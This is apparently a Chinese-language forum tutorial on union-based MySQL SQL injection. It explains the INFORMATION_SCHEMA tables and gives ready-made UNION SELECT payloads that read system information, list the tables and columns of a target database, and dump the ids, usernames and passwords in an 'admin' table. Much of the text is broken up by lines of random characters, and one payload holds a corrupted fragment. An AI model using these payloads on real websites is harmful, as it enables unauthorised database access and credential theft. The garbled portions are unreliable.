mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

学习盲注前先了解下 IFORMATION_SCHEMA 库

Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
+ F# N( I3 V3 s0 @) \|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称
1 Q( E7 L5 r  v2 Q2 D2 z
|TABLES ->存储表名
( |4 i# k6 s; a0 {$ k6 S( Z" m2 u, u% X|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
  C! o; a, E9 k' D2 p- ^|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称
% q6 b$ Q( B: T7 K& s) K4 M3 V1 k
, c# T2 }% A+ @8 m|---字段：COLUMN_NAME ->该字段的名称
- B( O  Q% I4 j) f
  y9 y2 m9 t5 w2 |1 ?* ]9 J+ M

###########################################################################
- A: i: w0 g( b5 m! B* Y
0x001 获取系统信息:

union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

& p+ ^$ d8 O& D; f0 v' ^0 S) X: X/*

@@global.version_compile_os 获取系统版本
0 o) w! l' k4 K2 t: {$ {8 _0 H$ S2 C
@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值
8 p7 x5 x# O- G  U
*/

9 p# S7 G8 [  m9 }# e# P, b4 F

######################################################################

. R2 P: u) d& e8 `( ]0x002 获取表名
- j, O# j8 ?: X* k! T
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
. W" G6 I( A* R5 F. S


/*

0x67617264656e 为当前数据库名

5 T+ ^8 o! K" l" N7 I: Wgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
% f# {$ j8 k' \8 g
*/
) x# Z* p! D& S3 h+ c. d3 |) r) D" I
3 F* h0 x$ V0 g, c1 C4 p######################################################################



7 W) P; M! a' x$ y) T' P0x003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
7 Y' ?7 T8 t: q% H6 h7 s
3 ]) J* f9 n4 @6 z6 r! H7 Q/*
: f: _  N) `" C) j. y% d
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
) b4 I& z* W1 @  w. ~8 |) d6 m
1 u) g' A9 t# b0 c7 M0x61646d696e ->选择一个表

0x67617264656e ->数据库名
* e* f% j  v8 X0 w
" I6 ^& ~$ i* f& |*/
7 x/ |, Q& f+ m. t
#####################################################################

' H& l- _8 r- S& L/ b3 E* H6 C( k

( a$ m& `0 O, g  J% [" Q4 g1 K0x004 获取数据

$ {9 d5 c- g7 ?- q1 y: P1 @7 e/ Munion select 1,2,3
. h8 m8 M3 ]1 i4 I- }% r1 V,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
: A2 E2 r/ A4 y/ H; l- Q

0 \. q& [  E. F& D! O
' G+ c# f. h4 B, h" y- q/*
( f& N" {9 L7 A. y% I5 L
0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据
+ I0 p2 c# O( a; j8 n0 }. p4 T
*/

9 \& H) Q% s" |, Y% F